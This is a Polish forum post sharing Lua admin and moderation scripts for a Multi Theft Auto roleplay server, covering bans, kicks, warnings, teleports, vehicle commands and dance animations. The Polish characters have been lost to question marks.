Patrix100
Amator LUA.
Wiek: 26 Na forum: 3887 dni Posty: 182
Nick w MP: .:Patrix:.
Piwa : 952
"Emm" napisał/a :
#1
addEventHandler ( 'onPlayerJoin' , root , function()
local result = exports [ 'db' ]: getRekord ( 'SELECT * FROM og_bans WHERE active=1 AND serial=? AND time>NOW() LIMIT 1;' , source : getSerial ())
if #result > 0 then
outputConsole ( ' ' , source )
outputConsole ( ' ' , source )
outputConsole ( ' ' , source )
outputConsole ( 'Zosta?e?/a? zbanowany/a na tym serwerze!' , source )
outputConsole ( 'Pow?d zbanowania: ' .. result [ 1 ]. reason , source )
outputConsole ( 'Czas bana: ' .. result [ 1 ]. time , source )
outputConsole ( 'Od kary mo?esz zaapelowa? na forum.' , source )
source : kick ( 'Serwer' , 'Wci?nij F8' )
else
exports [ 'db' ]: setRekord ( 'DELETE FROM og_bans WHERE active=1 AND serial=?' , source : getSerial ())
end
end )
addEventHandler ( "onPlayerWasted" , root , function( ammo , attacker , weapon , bodypart )
if ( attacker and isElement ( attacker ) and source and isElement ( source )) then
local zabojstwo =( 'ZABOJSTWO %s zabity przez %s bron %s' ): format ( getPlayerName ( source ), getPlayerName ( attacker ), getWeaponNameFromID ( weapon ))
triggerClientEvent ( root , "admin:addText" , root , zabojstwo )
else
local smierc =( 'SMIERC %s' ): format ( getPlayerName ( source ))
triggerClientEvent ( root , "admin:addText" , root , smierc )
end
end )
#2
function pobierzDate ( type , time )
realTime = getRealTime ()
type = tostring ( type )
time = tonumber ( time )
if type == "m" then value1 = realTime . minute + time else value1 = realTime . minute end
if type == "h" then value2 = realTime . hour + time else value2 = realTime . hour end
if type == "y" then value3 = realTime . monthday + time else value3 = realTime . monthday end
if type == "w" then value4 = realTime . month + time else value4 = realTime . month end
date = string . format ( "%04d-%02d-%02d " , realTime . year + 1900 , value4 + 1 , value3 )
time = string . format ( "%02d:%02d:%02d" , value2 , value1 , realTime . second )
outputChatBox ( date .. time , root )
return date .. time
end
-- Teksty
addCommandHandler ( "r" , function( plr , cmd ,...)
if getAdmin ( plr , 3 ) then
local text = table . concat ({...}, " " )
outputChatBox ( ">> " .. text , root , 192 , 0 , 0 )
end
end )
addCommandHandler ( "r" , function( plr , cmd ,...)
if getAdmin ( plr , 2 ) then
local text = table . concat ({...}, " " )
outputChatBox ( ">> " .. text , root , 255 , 0 , 0 )
end
end )
addCommandHandler ( "r" , function( plr , cmd ,...)
if getAdmin ( plr , 1 ) then
local text = table . concat ({...}, " " )
outputChatBox ( ">> " .. text , root , 128 , 192 , 0 )
end
end )
-- Komendy rcon ? w
addCommandHandler ( "przepisz.gracz" , function( plr , cmd , value )
if getAdmin ( plr , 3 ) then
local veh = getPedOccupiedVehicle ( plr )
if not veh then
outputChatBox ( "* Nie siedzisz w poje?dzie." , plr , 255 , 0 , 0 )
return
end
setElementData ( veh , "vehicle:ownedPlayer" , tonumber ( value ))
outputChatBox ( "* Przepisa?e?(a?) pojazd do gracza: " .. value , plr )
end
end )
addCommandHandler ( "dim" , function( plr , cmd , value )
if getAdmin ( plr , 1 ) or getAdmin ( plr , 2 ) or getAdmin ( plr , 3 ) then
value = tonumber ( value )
if not value then
outputChatBox ( "* Warto?? nie jest liczb?." , plr )
return
end
setElementDimension ( plr , value )
end
end )
addCommandHandler ( "serial" , function( plr , cmd , target )
if getAdmin ( plr , 2 ) or getAdmin ( plr , 3 ) then
if not target then
outputChatBox ( "* U?ycie: /serial [nick/ID]" , plr )
return
end
local target = exports [ "Core" ]: findPlayer ( plr , target )
if not target then outputChatBox ( "* Nie odnaleziono podanego gracza." , plr ) return end
local serial = getPlayerSerial ( target )
outputChatBox ( "* Serial gracza to: " .. serial , plr )
end
end )
addCommandHandler ( "daj.kase" , function( plr , cmd , cel , value )
if getAdmin ( plr , 3 ) then
if not cel or not tonumber ( value ) then
outputChatBox ( "* U?ycie: /daj.kase <nick/ID> <koszt>" , plr )
return
end
local target = exports [ "Core" ]: findPlayer ( plr , cel )
if not target then
outputChatBox ( "* Nie znaleziono podanego gracza." , plr , 255 , 0 , 0 )
return
end
givePlayerMoney ( target , value )
outputChatBox ( "* Otrzyma?e?(a?) od systemu " .. value .. " PLN" , target )
end
end )
-- Komendy admin ? w
addCommandHandler ( "ban" , function( plr , cmd , target , time , bantype ,...)
if getAdmin ( plr , 2 ) or getAdmin ( plr , 3 ) then
local reason = table . concat ({...}, " " )
if not target or not time or not bantype or not reason then
outputChatBox ( "* U?ycie: /ban [nick/ID] [czas] [jednostka: w/d/h/m] [pow?d]" , plr )
return
end
local times = getRealTime ()
time1 = times . month + 1
time2 = times . monthday
time3 = times . hour
time4 = times . minute
if bantype == "w" then time1 = time1 + time end
if bantype == "d" then time2 = time2 + time end
if bantype == "h" then time3 = time3 + time end
if bantype == "m" then time4 = time4 + time end
date = string . format ( "%04d-%02d-%02d" , times . year + 1900 , time1 , time2 )
xtime = string . format ( "%02d:%02d:00" , time3 , time4 )
timing = date .. " " .. xtime
local target = exports [ "Core" ]: findPlayer ( plr , target )
if not target then outputChatBox ( "* Nie odnaleziono podanego gracza." , plr ) return end
exports [ "PRL-db" ]: setRekord ( "INSERT INTO og_bans (time,reason,serial,active) VALUES (?,?,?,1)" , timing , reason , getPlayerSerial ( target ))
outputChatBox ( "Gracz " .. getPlayerName ( target ).. " zosta?/a zbanowany/a przez " .. getPlayerName ( plr ).. ": " .. reason .. " (" .. time .. "" .. bantype .. ")" , root , 255 , 0 , 0 )
kickPlayer ( target , plr , "Zosta?e? zbanowany: " .. reason .. " Wci?nij F8" )
end
end )
addCommandHandler ( "jp" , function( plr , cmd )
if getAdmin ( plr , 3 ) or getAdmin ( plr , 2 ) then
if isPedInVehicle ( plr ) then
removePedFromVehicle ( plr )
end
if doesPedHaveJetPack ( plr ) then
removePedJetPack ( plr )
else
givePedJetPack ( plr )
end
end
end )
-- komendy support ? w
addCommandHandler ( "kick" , function( plr , cmd , cel ,...)
if getAdmin ( plr , 3 ) or getAdmin ( plr , 2 ) or getAdmin ( plr , 1 ) then
local reason = table . concat ({...}, " " )
if not cel or not reason then
outputChatBox ( "* U?ycie: /kick <nick/ID> <pow?d>" , plr )
return
end
local target = exports [ "Core" ]: findPlayer ( plr , cel )
if not target then
outputChatBox ( "* Nie znaleziono podanego gracza." , plr , 255 , 0 , 0 )
return
end
triggerClientEvent ( root , "admin:rendering" , root , "Gracz " .. getPlayerName ( target ).. " (" .. getElementData ( target , "id" ).. ") zosta?(a) wyrzucony(a) przez " .. getPlayerName ( plr ).. ": " .. reason .. "" )
kickPlayer ( target , plr , reason )
end
end )
addCommandHandler ( "tt" , function( plr , cmd , cel )
if getAdmin ( plr , 3 ) or getAdmin ( plr , 2 ) or getAdmin ( plr , 1 ) then
if not cel then
outputChatBox ( "* U?ycie: /tt <nick/ID>" , plr )
return
end
local target = exports [ "Core" ]: findPlayer ( plr , cel )
if not target then
outputChatBox ( "* Nie znaleziono podanego gracza." , plr , 255 , 0 , 0 )
return
end
if isPedInVehicle ( plr ) then
removePedFromVehicle ( plr )
end
local x , y , z = getElementPosition ( target )
setElementInterior ( plr , getElementInterior ( target ))
setElementDimension ( plr , getElementDimension ( target ))
setElementPosition ( plr , x + math . random ( 1 , 2 ), y + math . random ( 1 , 2 ), z )
end
end )
addCommandHandler ( "th" , function( plr , cmd , cel )
if getAdmin ( plr , 3 ) or getAdmin ( plr , 2 ) or getAdmin ( plr , 1 ) then
if not cel then
outputChatBox ( "* U?ycie: /th <nick/ID>" , plr )
return
end
local target = exports [ "Core" ]: findPlayer ( plr , cel )
if not target then
outputChatBox ( "* Nie znaleziono podanego gracza." , plr , 255 , 0 , 0 )
return
end
if isPedInVehicle ( target ) then
removePedFromVehicle ( target )
end
local x , y , z = getElementPosition ( plr )
setElementInterior ( target , getElementInterior ( plr ))
setElementDimension ( target , getElementDimension ( plr ))
setElementPosition ( target , x + math . random ( 1 , 2 ), y + math . random ( 1 , 2 ), z )
end
end )
addCommandHandler ( "warn" , function( plr , cmd , cel ,...)
if getAdmin ( plr , 3 ) or getAdmin ( plr , 2 ) or getAdmin ( plr , 1 ) then
local reason = table . concat ({...}, " " )
if not cel or not reason then
outputChatBox ( "* U?ycie: /warn <nick/ID> <pow?d>" , plr )
return
end
local target = exports [ "Core" ]: findPlayer ( plr , cel )
if not target then
outputChatBox ( "* Nie znaleziono podanego gracza." , plr , 255 , 0 , 0 )
return
end
outputChatBox ( "******************************" , target , 255 , 0 , 0 )
outputChatBox ( "* Otrzyma?e?(a?) ostrze?enie..." , target , 255 , 0 , 0 )
outputChatBox ( "* Nie stosowanie si? do ostrze?e?," , target , 255 , 0 , 0 )
outputChatBox ( "* Mo?e skutkowa? kicki'em lub ban'em." , target , 255 , 0 , 0 )
outputChatBox ( "******************************" , target , 255 , 0 , 0 )
triggerClientEvent ( root , "admin:rendering" , root , "* [ID:" .. getElementData ( target , "id" ).. "]" .. getPlayerName ( target ).. " otrzyma?(a) ostrze?enie od " .. getPlayerName ( plr ).. ": " .. reason .. "" )
end
end )
addCommandHandler ( "dmon" , function( plr , cmd )
if getAdmin ( plr , 3 ) or getAdmin ( plr , 2 ) then
toggleControl ( plr , "fire" , true )
toggleControl ( plr , "aim_weapon" , true )
toggleControl ( plr , "action" , true )
end
end )
addCommandHandler ( "dmoff" , function( plr , cmd )
if getAdmin ( plr , 3 ) or getAdmin ( plr , 2 ) then
toggleControl ( plr , "fire" , false )
toggleControl ( plr , "aim_weapon" , false )
toggleControl ( plr , "action" , false )
end
end )
addCommandHandler ( "zpj" , function( plr , cmd , target , time , zpjtype ,...)
if getAdmin ( plr , 1 ) or getAdmin ( plr , 2 ) or getAdmin ( plr , 3 ) then
if getElementData ( plr , "player:admin" ) then
local reason = table . concat ({...}, " " )
if not target or not time or not zpjtype or not reason then
outputChatBox ( "* U?ycie: /zpj [nick/ID] [czas] [jednostka: y/d/h/m] [pow?d]" , plr )
return
end
local times = getRealTime ()
time1 = times . month + 1
time2 = times . monthday
time3 = times . hour
time4 = times . minute
if zpjtype == "w" then time1 = time1 + time end
if zpjtype == "d" then time2 = time2 + time end
if zpjtype == "h" then time3 = time3 + time end
if zpjtype == "m" then time4 = time4 + time end
date = string . format ( "%04d-%02d-%02d" , times . year + 1900 , time1 , time2 )
xtime = string . format ( "%02d:%02d:00" , time3 , time4 )
timing = date .. " " .. xtime
local target = exports [ "Core" ]: findPlayer ( plr , target )
if not target then outputChatBox ( "* Nie odnaleziono podanego gracza." , plr ) return end
exports [ "db" ]: dbGet ( "INSERT INTO ogrpg_punish (type,time,serial,reason,active) VALUES (1,?,?,?,1)" , timing , getPlayerSerial ( target ), reason , 1 )
exports [ "db" ]: dbGet ( "INSERT INTO ogrpg_punish (type,time,serial,reason,active) VALUES (2,?,?,?,1)" , timing , getPlayerSerial ( target ), reason , 1 )
outputChatBox ( "Gracz " .. getPlayerName ( target ).. " otrzyma?/a zakaz prowadzenia pojazd?w kat(A,B,C) od " .. getPlayerName ( plr ).. ": " .. reason .. " (" .. time .. "" .. zpjtype .. ")" , root , 255 , 0 , 0 )
if isPedInVehicle ( target ) then removePedFromVehicle ( target ) end
end
end
end )
addCommandHandler ( "opj" , function( plr , cmd , serial )
if getAdmin ( plr , 1 ) or getAdmin ( plr , 2 ) or getAdmin ( plr , 3 ) then
if not serial then
outputChatBox ( "* U?ycie: /opj [serial]" , plr )
return
end
local result = exports [ "db" ]: getRekord ( "SELECT * FROM ogrpg_punish WHERE serial=? AND active=1 AND type=1" , serial )
if result and #result > 0 then
exports [ "db" ]: dbGet ( "DELETE FROM ogrpg_punish WHERE serial=? AND active=1 AND type=1" , serial )
exports [ "db" ]: dbGet ( "DELETE FROM ogrpg_punish WHERE serial=? AND active=1 AND type=2" , serial )
outputChatBox ( "* Usuni?to gracza z listy blokady prawa jazdy." , plr )
end
end
end )
addCommandHandler ( "zpl" , function( plr , cmd , target , time , zpltype ,...)
if getAdmin ( plr , 1 ) or getAdmin ( plr , 2 ) or getAdmin ( plr , 3 ) then
local reason = table . concat ({...}, " " )
if not target or not time or not zpltype or not reason then
outputChatBox ( "* U?ycie: /zpl [nick/ID] [czas] [jednostka: w/d/h/m] [pow?d]" , plr )
return
end
local times = getRealTime ()
time1 = times . month + 1
time2 = times . monthday
time3 = times . hour
time4 = times . minute
if zpltype == "w" then time1 = time1 + time end
if zpltype == "d" then time2 = time2 + time end
if zpltype == "h" then time3 = time3 + time end
if zpltype == "m" then time4 = time4 + time end
date = string . format ( "%04d-%02d-%02d" , times . year + 1900 , time1 , time2 )
xtime = string . format ( "%02d:%02d:00" , time3 , time4 )
timing = date .. " " .. xtime
local target = exports [ "Core" ]: findPlayer ( plr , target )
if not target then outputChatBox ( "* Nie odnaleziono podanego gracza." , plr ) return end
exports [ "db" ]: getRekord ( "INSERT INTO og_kary (type,time,serial,reason,active) VALUES (3,?,?,?,1)" , timing , getPlayerSerial ( target ), reason )
outputChatBox ( "Gracz " .. getPlayerName ( target ).. " otrzyma?/a zakaz prowadzenia pojazd?w powietrznych od " .. getPlayerName ( plr ).. ": " .. reason .. " (" .. time .. "" .. zpltype .. ")" , root , 255 , 0 , 0 )
if isPedInVehicle ( target ) then removePedFromVehicle ( target ) end
end
end )
addCommandHandler ( "opl" , function( plr , cmd , serial )
if getAdmin ( plr , 1 ) or getAdmin ( plr , 2 ) or getAdmin ( plr , 3 ) then
if not serial then
outputChatBox ( "* U?ycie: /opl [serial]" , plr )
return
end
local result = exports [ "db" ]: getRekord ( "SELECT * FROM og_kary WHERE serial=? AND active=1 AND pun_type=3" , serial )
if result and #result > 0 then
exports [ "db" ]: setRekord ( "DELETE FROM og_kary WHERE serial=? AND active=1 AND type=3" , serial )
outputChatBox ( "* Usuni?to gracza z listy blokady prawa lotniczego." , plr )
end
end
end )
addCommandHandler ( "k" , function( plr , cmd , target ,...)
if onCheckAdmin ( plr , 1 ) or onCheckAdmin ( plr , 2 ) or onCheckAdmin ( plr , 3 ) then
if getElementData ( plr , "player:admin" ) then
local reason = table . concat ({...}, " " )
if not target or not reason then
outputChatBox ( "* U?ycie: /k [nick/ID] [pow?d]" , plr )
return
end
local target = exports [ "Core" ]: findPlayer ( plr , target )
if not target then outputChatBox ( "* Nie odnaleziono podanego gracza." , plr ) return end
outputChatBox ( "* " .. getPlayerName ( target ).. " zosta?/a wyrzucony/a przez: " .. getPlayerName ( plr ).. ": " .. reason , root , 255 , 0 , 0 )
kickPlayer ( target , plr , reason )
end
end
end )
addCommandHandler ( "aa" , function( plr , cmd ,...)
if getAdmin ( plr , 3 ) then
local text = table . concat ({...}, " " )
for i , v in ipairs ( getElementsByType ( "player" )) do
if getAdmin ( v , 3 ) then
outputChatBox ( "#CC0000R> " .. getPlayerName ( plr ).. ": " .. text , v , _ , _ , _ , true )
end
end
end
end )
addCommandHandler ( "a" , function( plr , cmd ,...)
if getAdmin ( plr , 2 ) or getAdmin ( plr , 3 ) then
local text = table . concat ({...}, " " )
for i , v in ipairs ( getElementsByType ( "player" )) do
if getAdmin ( v , 2 ) or getAdmin ( v , 3 ) then
outputChatBox ( "#FF0000A> " .. getPlayerName ( plr ).. ": " .. text , v , _ , _ , _ , true )
end
end
end
end )
addCommandHandler ( "m" , function( plr , cmd ,...)
if getAdmin ( plr , 1 ) or getAdmin ( plr , 2 ) or getAdmin ( plr , 3 ) then
local text = table . concat ({...}, " " )
for i , v in ipairs ( getElementsByType ( "player" )) do
if getAdmin ( v , 1 ) or getAdmin ( v , 2 ) or getAdmin ( v , 3 ) then
outputChatBox ( "#00FF00M> " .. getPlayerName ( plr ).. ": " .. text , v , _ , _ , _ , true )
end
end
end
end )
addCommandHandler ( "fix" , function( plr , cmd )
if getAdmin ( plr , 3 ) or getAdmin ( plr , 2 ) or getAdmin ( plr , 1 ) then
local veh = getPedOccupiedVehicle ( plr )
local rx , ry , rz = getVehicleRotation ( veh )
local x , y , z = getElementPosition ( veh )
if not veh then
outputChatBox ( "* Nie znajdujesz si? w poje?dzie" , plr )
return
end
setElementHealth ( veh , 1000 )
setVehicleRotation ( veh , rx , ry , rz )
setElementPosition ( veh , x , y , z )
fixVehicle ( veh )
end
end )
addCommandHandler ( "dv" , function( plr , cmd )
if getAdmin ( plr , 3 ) or getAdmin ( plr , 2 ) or getAdmin ( plr , 1 ) then
local veh = getPedOccupiedVehicle ( plr )
if not veh then
outputChatBox ( "* Nie znajdujesz si? w poje?dzie" , plr )
return
end
destroyElement ( veh )
end
end )
addCommandHandler ( "ttv" , function( plr , cmd , vid )
if getAdmin ( plr , 3 ) or getAdmin ( plr , 2 ) or getAdmin ( plr , 1 ) then
if not vid or not tonumber ( vid ) then return end
vid = tonumber ( vid )
for i , v in ipairs ( getElementsByType ( "vehicle" )) do
local dbid = getElementData ( v , "vehicle:id" )
if dbid and tonumber ( dbid ) == vid then
local x , y , z = getElementPosition ( v )
setElementPosition ( plr , x , y , z )
setElementInterior ( plr , getElementInterior ( v ))
setElementDimension ( plr , getElementDimension ( v ))
warpPedIntoVehicle ( plr , v )
return
end
end
local query = exports [ "db" ]: dbGet ( "SELECT 1 FROM ogrpg_vehicles WHERE id=? AND parking>0" , vid )
if query then
outputChatBox ( "* Pojazd znajduje sie na parkingu/w przechowalni." , plr , 255 , 0 , 0 )
else
outputChatBox ( "* Nie znaleziono podanego pojazdu na mapie." , plr , 255 , 0 , 0 )
end
end
end )
addCommandHandler ( "thv" , function( plr , cmd , vid )
if getAdmin ( plr , 3 ) or getAdmin ( plr , 2 ) or getAdmin ( plr , 1 ) then
if not vid or not tonumber ( vid ) then return end
vid = tonumber ( vid )
for i , v in ipairs ( getElementsByType ( "vehicle" )) do
local dbid = getElementData ( v , "vehicle:id" )
if dbid and tonumber ( dbid ) == vid then
local x , y , z = getElementPosition ( plr )
setElementPosition ( v , x , y , z )
setElementInterior ( v , getElementInterior ( plr ))
setElementDimension ( v , getElementDimension ( plr ))
warpPedIntoVehicle ( plr , v )
return
end
end
local query = exports [ "db" ]: dbGet ( "SELECT 1 FROM ogrpg_vehicles WHERE id=? AND parking>0" , vid )
if query then
outputChatBox ( "* Pojazd znajduje sie na parkingu/w przechowalni." , plr , 255 , 0 , 0 )
else
outputChatBox ( "* Nie znaleziono podanego pojazdu na mapie." , plr , 255 , 0 , 0 )
end
end
end )
addCommandHandler ( "heal" , function( plr , cmd , cel )
if getAdmin ( plr , 3 ) or getAdmin ( plr , 2 ) or getAdmin ( plr , 1 ) then
if not cel then
outputChatBox ( "Uzyj: /heal <id/nick>" , plr )
return
end
local target = exports [ "PRL-Core" ]: findPlayer ( plr , cel )
if not target then
outputChatBox ( "* Nie znaleziono podanego gracza." , plr , 255 , 0 , 0 )
return
end
setElementHealth ( target , 100 )
outputChatBox ( "* Uleczy?e?(a?) gracza " .. getPlayerName ( target ), plr )
outputChatBox ( "* Zosta?e? uleczony(a) przez " .. getPlayerName ( plr ), target )
end
end )
addCommandHandler ( "spec" , function( plr , cmd , cel )
if getAdmin ( plr , 3 ) or getAdmin ( plr , 2 ) or getAdmin ( plr , 1 ) then
if not cel then
outputChatBox ( "Uzyj: /spec <id/nick>" , plr )
return
end
local target = exports [ "Core" ]: findPlayer ( plr , cel )
if not target then
outputChatBox ( "* Nie znaleziono podanego gracza." , plr , 255 , 0 , 0 )
return
end
local x , y , z = getElementPosition ( plr )
removePedFromVehicle ( plr )
setElementInterior ( plr , getElementInterior ( target ))
setElementDimension ( plr , getElementDimension ( target ))
setCameraTarget ( plr , target )
setElementData ( plr , "spec:pos" ,{ x , y , z })
end
end )
addCommandHandler ( "unban" , function( plr , cmd , serial )
if getAdmin ( plr , 2 ) or getAdmin ( plr , 3 ) then
if not serial then
outputChatBox ( "* U?ycie: /unban [serial]" , plr )
return
end
local result = exports [ "db" ]: dbGet ( "SELECT * FROM og_bans WHERE serial=? AND active=1" , serial )
if result and #result > 0 then
local xresult = exports [ "db" ]: dbGet ( "DELETE FROM og_bans WHERE serial=? AND active=1" , serial )
if xresult then
outputChatBox ( "* Usuni?to gracza z listy zbanowanych." , plr )
end
end
end
end )
addCommandHandler ( "specoff" , function( plr , cmd )
if getAdmin ( plr , 3 ) or getAdmin ( plr , 2 ) or getAdmin ( plr , 1 ) then
local spec = getElementData ( plr , "spec:pos" )
if not spec then return end
setElementPosition ( plr , spec [ 1 ], spec [ 2 ], spec [ 3 ])
setCameraTarget ( plr , plr )
end
end )
addCommandHandler ( "inv" , function( plr )
if getAdmin ( plr , 3 ) or getAdmin ( plr , 2 ) or getAdmin ( plr , 1 ) then
if getElementAlpha ( plr ) > 0 then
setElementAlpha ( plr , 0 )
else
setElementAlpha ( plr , 255 )
end
end
end )
addCommandHandler ( "invveh" , function( plr )
if getAdmin ( plr , 3 ) or getAdmin ( plr , 2 ) then
local plr = getPedOccupiedVehicle ( plr )
if not plr then return end
if getElementAlpha ( plr ) > 0 then
setElementAlpha ( plr , 0 )
else
setElementAlpha ( plr , 255 )
end
end
end )
addCommandHandler ( "p" , function( plr , cmd , model )
if getAdmin ( plr , 2 ) or getAdmin ( plr , 3 ) then
if getElementData ( plr , "player:admin" ) then
if not model then return end
local pojazd = getPedOccupiedVehicle ( plr )
if pojazd then
if getElementData ( veh , "vehicle:spawn" ) then
outputChatBox ( "* Nie mo?esz zmieni? sobie pojazdu prywatnego." , plr )
if ( not model ) then
outputChatBox ( "U?yj: /p <model>" , plr )
return
end
local dim = getElementDimension ( plr )
local x , y , z = getElementPosition ( plr )
local r1 , r2 , r3 = getElementRotation ( plr )
local model = getVehicleModelFromName ( model )
if getPedOccupiedVehicle ( plr ) then
setElementModel ( getPedOccupiedVehicle ( plr ), model )
else
local pojazd = createVehicle ( model , x , y , z , r1 , r2 , r3 )
warpPedIntoVehicle ( plr , pojazd )
setElementDimension ( pojazd , dim )
end
end
end
end
end
end )
addCommandHandler ( "up" , function( plr , cmd , value )
if getAdmin ( plr , 2 ) or getAdmin ( plr , 3 ) then
if ( tonumber ( value )== nil ) then
outputChatBox ( "U?yj: /up <ile>" , plr )
return
end
local e = plr
if ( isPedInVehicle ( plr )) then
e = getPedOccupiedVehicle ( plr )
end
local x , y , z = getElementPosition ( e )
setElementPosition ( e , x , y , z + tonumber ( value ))
end
end )
addCommandHandler ( "thru" , function( plr , cmd , value )
if getAdmin ( plr , 2 ) or getAdmin ( plr , 3 ) then
if ( tonumber ( value )== nil ) then
outputChatBox ( "U?yj: /thru <ile>" , plr )
return
end
local e = plr
if getCameraTarget ( plr ) ~= plr then
e = getCameraTarget ( plr )
end
if ( isPedInVehicle ( plr )) then
e = getPedOccupiedVehicle ( e )
end
local x , y , z = getElementPosition ( e )
local _ , _ , rz = getElementRotation ( e )
local rrz = math . rad ( rz )
local x = x + ( value * math . sin (- rrz ))
local y = y + ( value * math . cos (- rrz ))
setElementPosition ( e , x , y , z )
end
end )
addCommandHandler ( "kibicuje" ,function( plr , cmd )
if ( isPedInVehicle ( plr )) then
outputChatBox ( "Najpierw wysiadz z pojazdu" , plr )
return
end
setPedAnimation ( plr , "RIOT" , "RIOT_ANGRY_B" )
bindKey ( plr , "enter" , "down" , function ()
setPedAnimation ( plr , false )
end )
end )
addCommandHandler ( "kibicuje2" ,function( plr , cmd )
if ( isPedInVehicle ( plr )) then
outputChatBox ( "Najpierw wysiadz z pojazdu" , plr )
return
end
setPedAnimation ( plr , "ON_LOOKERS" , "wave_loop" )
bindKey ( plr , "enter" , "down" , function ()
setPedAnimation ( plr , false )
end )
end )
addCommandHandler ( "taniec" ,function( plr , cmd )
if ( isPedInVehicle ( plr )) then
outputChatBox ( "Najpierw wysiadz z pojazdu" , plr )
return
end
setPedAnimation ( plr , "CHAINSAW" , "CSAW_Hit_2" )
bindKey ( plr , "enter" , "down" , function ()
setPedAnimation ( plr , false )
end )
end )
addCommandHandler ( "taniec2" ,function( plr , cmd )
if ( isPedInVehicle ( plr )) then
outputChatBox ( "Najpierw wysiadz z pojazdu" , plr )
return
end
setPedAnimation ( plr , "SKATE" , "skate_idle" )
bindKey ( plr , "enter" , "down" , function ()
setPedAnimation ( plr , false )
end )
end )
addCommandHandler ( "taniec3" ,function( plr , cmd )
if ( isPedInVehicle ( plr )) then
outputChatBox ( "Najpierw wysiadz z pojazdu" , plr )
return
end
setPedAnimation ( plr , "STRIP" , "strip_B" )
bindKey ( plr , "enter" , "down" , function ()
setPedAnimation ( plr , false )
end )
end )
addCommandHandler ( "taniec4" ,function( plr , cmd )
if ( isPedInVehicle ( plr )) then
outputChatBox ( "Najpierw wysiadz z pojazdu" , plr )
return
end
setPedAnimation ( plr , "DANCING" , "dance_loop" )
bindKey ( plr , "enter" , "down" , function ()
setPedAnimation ( plr , false )
end )
end )
addCommandHandler ( "taniec5" ,function( plr , cmd )
if ( isPedInVehicle ( plr )) then
outputChatBox ( "Najpierw wysiadz z pojazdu" , plr )
return
end
setPedAnimation ( plr , "DANCING" , "DAN_Down_A" )
bindKey ( plr , "enter" , "down" , function ()
setPedAnimation ( plr , false )
end )
end )
addCommandHandler ( "taniec6" ,function( plr , cmd )
if ( isPedInVehicle ( plr )) then
outputChatBox ( "Najpierw wysiadz z pojazdu" , plr )
return
end
setPedAnimation ( plr , "STRIP" , "strip_G" )
bindKey ( plr , "enter" , "down" , function ()
setPedAnimation ( plr , false )
end )
end )
addCommandHandler ( "taniec7" ,function( plr , cmd )
if ( isPedInVehicle ( plr )) then
outputChatBox ( "Najpierw wysiadz z pojazdu" , plr )
return
end
setPedAnimation ( plr , "STRIP" , "STR_C2" )
bindKey ( plr , "enter" , "down" , function ()
setPedAnimation ( plr , false )
end )
end )
addCommandHandler ( "taniec8" ,function( plr , cmd )
if ( isPedInVehicle ( plr )) then
outputChatBox ( "Najpierw wysiadz z pojazdu" , plr )
return
end
setPedAnimation ( plr , "DANCING" , "dnce_M_b" )
bindKey ( plr , "enter" , "down" , function ()
setPedAnimation ( plr , false )
end )
end )
addCommandHandler ( "taniec9" ,function( plr , cmd )
if ( isPedInVehicle ( plr )) then
outputChatBox ( "Najpierw wysiadz z pojazdu" , plr )
return
end
setPedAnimation ( plr , "DANCING" , "DAN_Loop_A" )
bindKey ( plr , "enter" , "down" , function ()
setPedAnimation ( plr , false )
end )
end )
addCommandHandler ( "taniec10" ,function( plr , cmd )
if ( isPedInVehicle ( plr )) then
outputChatBox ( "Najpierw wysiadz z pojazdu" , plr )
return
end
setPedAnimation ( plr , "DANCING" , "dnce_M_d" )
bindKey ( plr , "enter" , "down" , function ()
setPedAnimation ( plr , false )
end )
end )
addCommandHandler ( "taniec11" ,function( plr , cmd )
if ( isPedInVehicle ( plr )) then
outputChatBox ( "Najpierw wysiadz z pojazdu" , plr )
return
end
setPedAnimation ( plr , "STRIP" , "strip_D" )
bindKey ( plr , "enter" , "down" , function ()
setPedAnimation ( plr , false )
end )
end )
addCommandHandler ( "taniec12" ,function( plr , cmd )
if ( isPedInVehicle ( plr )) then
outputChatBox ( "Najpierw wysiadz z pojazdu" , plr )
return
end
setPedAnimation ( plr , "STRIP" , "strip_E" )
bindKey ( plr , "enter" , "down" , function ()
setPedAnimation ( plr , false )
end )
end )
addCommandHandler ( "taniec13" ,function( plr , cmd )
if ( isPedInVehicle ( plr )) then
outputChatBox ( "Najpierw wysiadz z pojazdu" , plr )
return
end
setPedAnimation ( plr , "STRIP" , "STR_Loop_A" )
bindKey ( plr , "enter" , "down" , function ()
setPedAnimation ( plr , false )
end )
end )
addCommandHandler ( "taniec14" ,function( plr , cmd )
if ( isPedInVehicle ( plr )) then
outputChatBox ( "Najpierw wysiadz z pojazdu" , plr )
return
end
setPedAnimation ( plr , "STRIP" , "STR_Loop_B" )
bindKey ( plr , "enter" , "down" , function ()
setPedAnimation ( plr , false )
end )
end )
addCommandHandler ( "taniec15" ,function( plr , cmd )
if ( isPedInVehicle ( plr )) then
outputChatBox ( "Najpierw wysiadz z pojazdu" , plr )
return
end
setPedAnimation ( plr , "FINALE" , "FIN_Cop1_Stomp" )
bindKey ( plr , "enter" , "down" , function ()
setPedAnimation ( plr , false )
end )
end )
addCommandHandler ( "taniec16" ,function( plr , cmd )
if ( isPedInVehicle ( plr )) then
outputChatBox ( "Najpierw wysiadz z pojazdu" , plr )
return
end
setPedAnimation ( plr , "DANCING" , "dnce_M_a" )
bindKey ( plr , "enter" , "down" , function ()
setPedAnimation ( plr , false )
end )
end )
addCommandHandler ( "taniec17" ,function( plr , cmd )
if ( isPedInVehicle ( plr )) then
outputChatBox ( "Najpierw wysiadz z pojazdu" , plr )
return
end
setPedAnimation ( plr , "GFUNK" , "Dance_G10" )
bindKey ( plr , "enter" , "down" , function ()
setPedAnimation ( plr , false )
end )
end )
addCommandHandler ( "taniec18" ,function( plr , cmd )
if ( isPedInVehicle ( plr )) then
outputChatBox ( "Najpierw wysiadz z pojazdu" , plr )
return
end
setPedAnimation ( plr , "GFUNK" , "Dance_G11" )
bindKey ( plr , "enter" , "down" , function ()
setPedAnimation ( plr , false )
end )
end )
addCommandHandler ( "taniec19" ,function( plr , cmd )
if ( isPedInVehicle ( plr )) then
outputChatBox ( "Najpierw wysiadz z pojazdu" , plr )
return
end
setPedAnimation ( plr , "GFUNK" , "Dance_G12" )
bindKey ( plr , "enter" , "down" , function ()
setPedAnimation ( plr , false )
end )
end )
addCommandHandler ( "taniec20" ,function( plr , cmd )
if ( isPedInVehicle ( plr )) then
outputChatBox ( "Najpierw wysiadz z pojazdu" , plr )
return
end
setPedAnimation ( plr , "RUNNINGMAN" , "Dance_B1" )
bindKey ( plr , "enter" , "down" , function ()
setPedAnimation ( plr , false )
end )
end )
tabela = {}
function Aktualizuj ( login )
for i , v in pairs ( tabela ) do
if v [ 1 ] == login then
table . remove ( tabela , i )
end
end
end
